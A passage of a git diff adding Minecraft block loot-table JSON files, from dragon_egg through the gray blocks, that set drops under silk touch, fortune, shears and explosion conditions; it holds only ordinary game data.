a/src/data/minecraft/loot_tables/blocks/dragon_egg.json b/src/data/minecraft/loot_tables/blocks/dragon_egg.json new file mode 100644 index 00000000..e55b558a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dragon_egg.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dragon_egg" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dragon_head.json b/src/data/minecraft/loot_tables/blocks/dragon_head.json new file mode 100644 index 00000000..a1fa02ba --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dragon_head.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dragon_head" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dried_kelp_block.json b/src/data/minecraft/loot_tables/blocks/dried_kelp_block.json new file mode 100644 index 00000000..78658e89 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dried_kelp_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dried_kelp_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/dropper.json b/src/data/minecraft/loot_tables/blocks/dropper.json new file mode 100644 index 00000000..7335b50f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/dropper.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + } + ], + "name": "minecraft:dropper" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/emerald_block.json b/src/data/minecraft/loot_tables/blocks/emerald_block.json new file mode 100644 index 00000000..2f499754 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/emerald_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:emerald_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/emerald_ore.json b/src/data/minecraft/loot_tables/blocks/emerald_ore.json new file mode 100644 index 00000000..d53e806f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/emerald_ore.json @@ -0,0 +1,48 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:emerald_ore" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:apply_bonus", + "enchantment": "minecraft:fortune", + "formula": "minecraft:ore_drops" + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:emerald" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/enchanting_table.json b/src/data/minecraft/loot_tables/blocks/enchanting_table.json new file mode 100644 index 00000000..713fb837 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/enchanting_table.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + } + ], + "name": "minecraft:enchanting_table" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/end_rod.json b/src/data/minecraft/loot_tables/blocks/end_rod.json new file mode 100644 index 00000000..d8450f8a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/end_rod.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:end_rod" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/end_stone.json b/src/data/minecraft/loot_tables/blocks/end_stone.json new file mode 100644 index 00000000..c48d6575 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/end_stone.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:end_stone" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/end_stone_brick_slab.json b/src/data/minecraft/loot_tables/blocks/end_stone_brick_slab.json new file mode 100644 index 00000000..444e3e55 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/end_stone_brick_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:end_stone_brick_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:end_stone_brick_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/end_stone_brick_stairs.json b/src/data/minecraft/loot_tables/blocks/end_stone_brick_stairs.json new file mode 100644 index 00000000..1362e2c0 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/end_stone_brick_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:end_stone_brick_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/end_stone_brick_wall.json b/src/data/minecraft/loot_tables/blocks/end_stone_brick_wall.json new file mode 100644 index 00000000..0529d5bd --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/end_stone_brick_wall.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:end_stone_brick_wall" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/end_stone_bricks.json b/src/data/minecraft/loot_tables/blocks/end_stone_bricks.json new file mode 100644 index 00000000..00946275 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/end_stone_bricks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:end_stone_bricks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/ender_chest.json b/src/data/minecraft/loot_tables/blocks/ender_chest.json new file mode 100644 index 00000000..6e476c27 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/ender_chest.json @@ -0,0 +1,47 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:ender_chest" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 8 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:obsidian" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/farmland.json b/src/data/minecraft/loot_tables/blocks/farmland.json new file mode 100644 index 00000000..6ee2d52d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/farmland.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dirt" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/fern.json b/src/data/minecraft/loot_tables/blocks/fern.json new file mode 100644 index 00000000..28212fed --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/fern.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + } + ], + "name": "minecraft:fern" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:random_chance", + "chance": 0.125 + } + ], + "functions": [ + { + "function": "minecraft:apply_bonus", + "enchantment": "minecraft:fortune", + "formula": "minecraft:uniform_bonus_count", + "parameters": { + "bonusMultiplier": 2 + } + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:wheat_seeds" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/fire.json b/src/data/minecraft/loot_tables/blocks/fire.json new file mode 100644 index 00000000..68701f9f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/fire.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:block" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/fire_coral.json b/src/data/minecraft/loot_tables/blocks/fire_coral.json new file mode 100644 index 00000000..2953a445 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/fire_coral.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:fire_coral" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/fire_coral_block.json b/src/data/minecraft/loot_tables/blocks/fire_coral_block.json new file mode 100644 index 00000000..1dc377de --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/fire_coral_block.json @@ -0,0 +1,43 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:fire_coral_block" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ], + "name": "minecraft:dead_fire_coral_block" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/fire_coral_fan.json b/src/data/minecraft/loot_tables/blocks/fire_coral_fan.json new file mode 100644 index 00000000..2d000ee6 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/fire_coral_fan.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:fire_coral_fan" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/fletching_table.json b/src/data/minecraft/loot_tables/blocks/fletching_table.json new file mode 100644 index 00000000..b983b88c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/fletching_table.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + } + ], + "name": "minecraft:fletching_table" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/flower_pot.json b/src/data/minecraft/loot_tables/blocks/flower_pot.json new file mode 100644 index 00000000..27dc8e36 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/flower_pot.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/frosted_ice.json b/src/data/minecraft/loot_tables/blocks/frosted_ice.json new file mode 100644 index 00000000..68701f9f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/frosted_ice.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:block" +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/furnace.json b/src/data/minecraft/loot_tables/blocks/furnace.json new file mode 100644 index 00000000..3fcbaa72 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/furnace.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + } + ], + "name": "minecraft:furnace" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/gilded_blackstone.json b/src/data/minecraft/loot_tables/blocks/gilded_blackstone.json new file mode 100644 index 00000000..5bb5a163 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/gilded_blackstone.json @@ -0,0 +1,74 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:gilded_blackstone" + }, + { + "type": "minecraft:alternatives", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ], + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:table_bonus", + "enchantment": "minecraft:fortune", + "chances": [ + 0.1, + 0.14285715, + 0.25, + 1.0 + ] + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_nugget" + }, + { + "type": "minecraft:item", + "name": "minecraft:gilded_blackstone" + } + ] + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/glass.json b/src/data/minecraft/loot_tables/blocks/glass.json new file mode 100644 index 00000000..3974bc66 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/glass.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:glass" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/glass_pane.json b/src/data/minecraft/loot_tables/blocks/glass_pane.json new file mode 100644 index 00000000..bcb0b6cc --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/glass_pane.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:glass_pane" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/glowstone.json b/src/data/minecraft/loot_tables/blocks/glowstone.json new file mode 100644 index 00000000..4b92f622 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/glowstone.json @@ -0,0 +1,66 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:glowstone" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 4.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:apply_bonus", + "enchantment": "minecraft:fortune", + "formula": "minecraft:uniform_bonus_count", + "parameters": { + "bonusMultiplier": 1 + } + }, + { + "function": "minecraft:limit_count", + "limit": { + "max": 4, + "min": 1 + } + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:glowstone_dust" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/gold_block.json b/src/data/minecraft/loot_tables/blocks/gold_block.json new file mode 100644 index 00000000..099eb7ab --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/gold_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:gold_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/gold_ore.json b/src/data/minecraft/loot_tables/blocks/gold_ore.json new file mode 100644 index 00000000..745aed96 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/gold_ore.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:gold_ore" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/granite.json b/src/data/minecraft/loot_tables/blocks/granite.json new file mode 100644 index 00000000..5fb41a9c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/granite.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:granite" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/granite_slab.json b/src/data/minecraft/loot_tables/blocks/granite_slab.json new file mode 100644 index 00000000..7fa211ed --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/granite_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:granite_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:granite_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/granite_stairs.json b/src/data/minecraft/loot_tables/blocks/granite_stairs.json new file mode 100644 index 00000000..a345c2c2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/granite_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:granite_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/granite_wall.json b/src/data/minecraft/loot_tables/blocks/granite_wall.json new file mode 100644 index 00000000..0cb80ef9 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/granite_wall.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:granite_wall" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/grass.json b/src/data/minecraft/loot_tables/blocks/grass.json new file mode 100644 index 00000000..dad3d2f2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/grass.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + } + ], + "name": "minecraft:grass" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:random_chance", + "chance": 0.125 + } + ], + "functions": [ + { + "function": "minecraft:apply_bonus", + "enchantment": "minecraft:fortune", + "formula": "minecraft:uniform_bonus_count", + "parameters": { + "bonusMultiplier": 2 + } + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:wheat_seeds" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/grass_block.json b/src/data/minecraft/loot_tables/blocks/grass_block.json new file mode 100644 index 00000000..f0b6cc48 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/grass_block.json @@ -0,0 +1,43 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:grass_block" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ], + "name": "minecraft:dirt" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/grass_path.json b/src/data/minecraft/loot_tables/blocks/grass_path.json new file mode 100644 index 00000000..6ee2d52d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/grass_path.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:dirt" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/gravel.json b/src/data/minecraft/loot_tables/blocks/gravel.json new file mode 100644 index 00000000..288ed1f0 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/gravel.json @@ -0,0 +1,64 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:gravel" + }, + { + "type": "minecraft:alternatives", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ], + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:table_bonus", + "enchantment": "minecraft:fortune", + "chances": [ + 0.1, + 0.14285715, + 0.25, + 1.0 + ] + } + ], + "name": "minecraft:flint" + }, + { + "type": "minecraft:item", + "name": "minecraft:gravel" + } + ] + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/gray_banner.json b/src/data/minecraft/loot_tables/blocks/gray_banner.json new file mode 100644 index 00000000..027c00ab --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/gray_banner.json @@ -0,0 +1,36 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Patterns", + "target": "BlockEntityTag.Patterns", + "op": "replace" + } + ] + } + ], + "name": "minecraft:gray_banner" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/gray_bed.json b/src/data/minecraft/loot_tables/blocks/gray_bed.json new file mode 100644 index 00000000..464a31a1 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/gray_bed.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:gray_bed", + "properties": { + "part": "head" + } + } + ], + "name": "minecraft:gray_bed" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/gray_carpet.json b/src/data/minecraft/loot_tables/blocks/gray_carpet.json new file mode 100644 index 00000000..a5c1bd26 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/gray_carpet.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:gray_carpet" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/gray_concrete.json b/src/data/minecraft/loot_tables/blocks/gray_concrete.json new file mode 100644 index 00000000..603b9d4b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/gray_concrete.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:gray_concrete" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/gray_concrete_powder.json b/src/data/minecraft/loot_tables/blocks/gray_concrete_powder.json new file mode 100644 index 00000000..2726d3ea --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/gray_concrete_powder.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:gray_concrete_powder" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/gray_glazed_terracotta.json b/src/data/minecraft/loot_tables/blocks/gray_glazed_terracotta.json new file mode 100644 index 00000000..e88a0a33 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/gray_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:gray_glazed_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/gray_shulker_box.json b/src/data/minecraft/loot_tables/blocks/gray_shulker_box.json new file mode 100644 index 00000000..a91a48aa --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/gray_shulker_box.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Lock", + "target": "BlockEntityTag.Lock", + "op": "replace" + }, + { + "source": "LootTable", + "target": "BlockEntityTag.LootTable", + "op": "replace" + }, + { + "source": "LootTableSeed", + "target": "BlockEntityTag.LootTableSeed", + "op": "replace" + } + ] + }, + { + "function": "minecraft:set_contents", + "entries": [ + { + "type": "minecraft:dynamic", + "name": "minecraft:contents" + } + ] + } + ], + "name": "minecraft:gray_shulker_box" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/gray_stained_glass.json b/src/data/minecraft/loot_tables/blocks/gray_stained_glass.json new file mode 100644 index 00000000..c81231a4 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/gray_stained_glass.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:gray_stained_glass" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/gray_stained_glass_pane.json b/src/data/minecraft/loot_tables/blocks/gray_stained_glass_pane.json new file mode 100644 index 00000000..6a181404 --- /dev/null 